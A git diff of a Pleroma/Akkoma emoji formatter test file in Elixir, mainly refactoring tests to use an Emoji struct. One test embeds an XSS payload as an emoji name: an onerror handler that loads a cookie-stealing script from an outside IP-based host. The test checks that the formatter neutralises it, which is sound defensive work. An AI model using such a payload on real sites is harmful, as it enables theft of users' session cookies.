Merge branch 'fix/1659-rate-limiter' into 'develop'
[akkoma] / test / emoji / formatter_test.exs
index 8b510f48bb35435dace8a7f11d98dd5410cbefc9..3bfee9420ba1eadf6e88be2dd4edf541b912257a 100644 (file)
@@ -1,8 +1,9 @@
 # Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
 # SPDX-License-Identifier: AGPL-3.0-only
 
 defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji
   alias Pleroma.Emoji.Formatter
   use Pleroma.DataCase
 
@@ -11,7 +12,7 @@ defmodule Pleroma.Emoji.FormatterTest do
       text = "I love :firefox:"
 
       expected_result =
-        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
 
       assert Formatter.emojify(text) == expected_result
     end
@@ -20,15 +21,14 @@ defmodule Pleroma.Emoji.FormatterTest do
       text =
         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 
-      custom_emoji = %{
-        "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+      custom_emoji =
+        {
+          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
           "https://placehold.it/1x1"
-      }
+        }
+        |> Pleroma.Emoji.build()
 
-      expected_result =
-        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
-      assert Formatter.emojify(text, custom_emoji) == expected_result
+      refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
     end
   end
 
@@ -37,7 +37,14 @@ defmodule Pleroma.Emoji.FormatterTest do
       text = "I love :firefox:"
 
       assert Formatter.get_emoji(text) == [
-               {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+               {"firefox",
+                %Emoji{
+                  code: "firefox",
+                  file: "/emoji/Firefox.gif",
+                  tags: ["Gif", "Fun"],
+                  safe_code: "firefox",
+                  safe_file: "/emoji/Firefox.gif"
+                }}
              ]
     end